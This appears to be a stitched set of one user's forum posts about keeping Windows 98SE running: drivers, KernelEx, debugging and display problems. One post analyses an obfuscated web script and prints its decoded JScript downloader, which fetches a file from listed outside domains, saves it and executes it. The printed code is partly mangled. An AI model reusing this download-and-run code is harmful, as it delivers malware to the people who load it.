jumper

I use Autoruns v8.31 on Win98SE. MDGx recommends:

>D00748-001-002.exe which is Widcomm 5.1.0.2800 Did you mean 5.0.1.2800? Try the Anycom drivers which are newer. Also, when installers don't work (for whatever reason), it is sometimes possible to extract and transplant individual files. You probably want to avoid Device Firmaware Upgrades (dfu files) from other manufacturers, however. Another great discussion to read: How to Install Widcomm Drivers

30600 "C:\PROGRA~1\MESSEN~1" "PROGRA~1" works for "Program Files" because the folder already exists so do the same with "MESSEN~1" / "Messenger": 1) Rename the folder "Messenger" 2) Check its properties to confirm the DOS filename is "MESSEN~1" 3) Use 30600 Win98se is not WinME; sometimes it needs a little bit of manual help to work around DOS limitations like 8.3 filenames. p.s. filenames in Wininit.ini are known to get truncated to 8.3

According to http://forum.gsmhosting.com/vbb/f237/widcomm-bluetooth-software-5-1-0-2800-keygen-363992/ on Jan-08-2007, the last version for Win9x was 5.1.0.2700. Wayback has the .1700 and .2100 Anycom drivers. http://www.wireless-driver.com/dell-wireless-355-bluetooth-module-windows-driver-software/ claims to have:

Going back to your original post: it sounds like you had a power surge that killed the machine (and maybe the monitors, too).

Realtek AC'97 drivers

I made these small changes and it runs in IE5. <script> ... document.writeln(tz) //this[nbny243()](tz); </script> The numerous functions each return a short string and are declared in jumbled order. The loop calls all functions in the proper order and concatenates the strings into the real script. The call to nbny243 evaluates the full string, causing it execute. The full string is: function dl(fr) { var b = "dickinsonwrestlingclub.com www.fibrasinteticafm.com laterrazzafiorita.it".split(" "); for (var i=0; i 5000) { dn = 1; xa.position = 0; xa.saveToFile(fn,2); try { ws.Run(fn,1,0); } catch (er) {}; }; xa.close(); }; }; try { xo.open("GET","http://"+b+"/document.php?rnd="+fr+"&id="+str, false); xo.send(); } catch (er) {}; if (dn == 1) break; }; }; dl(8391); dl(5142); dl(2053);

V5R14 requires: Looks like you'll need to check ebay for V4 or earlier.Update: According to http://www.firstratemold.com/about-us/c19-news/what-is-catia/, Catia never supported non-NT Windows. It also appears to be the type of software that "If you need to ask, you can't afford it." In other words, if you can't afford to buy a dedicated system to run it on, you won't be able to afford the software itself.

There's not much to say except the obvious: Outlook is leaking User resources and needs to be restarted more often. I'll add resource monitoring to a future version of the KernelEx debugger.

Is your game port on the mainboard or a soundcard? If the former, it needs to be enabled in the BIOS setup.

Does CamStudio v2.7 (or earlier) work correctly under KernelEx 4.5.2 or earlier versions of KernelEx 4.5.2015?

Thanks. Turns out there isn't actually an error at all! They are calling RaiseException with value 406d1388H to talk to the MS VisualStudio debugger (which they shouldn't be doing in a release version.) The exception is "continuable" meaning the debugger can process it or ignore it and then the app should continue. The workaround is to run them in a debugger. Finesse might do. Edit:

I just reviewed topic/172888-blurry-screen and it is a must read for the current issue.

Stumbled onto this while researching exception 406d1388H. Machine translators might confuse binaural with stereo, so....

For dolphin-3.0-win32.exe ImportPatcher41 reports: But 007b41a3 isn't a valid address in Dolphin 3.0, and now I see this error text doesn't match the original screencap, so you gave the error text for a different version! wrong error text! (However, the opcode bytes do match so maybe I can get a headstart on the debugging while I await the correct error text....) >(the same error message shows with pcsx2) No it doesn'tThe error code might be the same, but the message details will differ somewhat ....Please provide that error text and a link to that app as well. Edit: Removed some of the late-night gruff.

Both video cards are GeForce, but different chipsets.... Contact Asus and MSI concerning DVI-D compatibility with the two different GeForce chipsets. The GeForce4 might not fully support all features of the latest version of DVI-D. If this is a known issue, their engineers (of either company) might have a (unsupported) software utility for you to try. As for a workaround, once the monitor has been booted with Win7 and is working correctly, don't power it off! Let it hibernate when the PC's are off.

And what is the full text (not screencap) of that error message?

DeviceIOControl should do it, but needs a handle from CreateFile and the PlatformSDK (Feb.2003) says: "Windows Me/98/95: You cannot open a directory, physical disk, or volume using CreateFile." This is likely the reason SetupDiEnumDevice* is failing on 9x. But we can send control codes directly to VxD's such as VMM32.vxd and IFSMGR.vxd: Calling DeviceIOControl on Windows Me/98/95 edit: Waybacked the link

From MSDevStudio97 (VC5) help: and

>mounting a virtual partition. Please tell us more about this.

What video card is in the Win7 system? You might need a similar one in SE.

(So a Display Port to DVI or VGA adapter would be needed, but....) The point was to connect the Win7 system to the monitor via DVI to see if it's a problem with the DVI input on the monitor.

Connect the Win7 system via DVI (and the SE via Display Port if possible).

>when Run i get this Error if KernelEX Compatability mode for XP SP2 isnt set on OpenAL32.dll So what happens when you do set the mode to XP? (also try SE and ME)

Spoken words (Speech) or written words (Text)?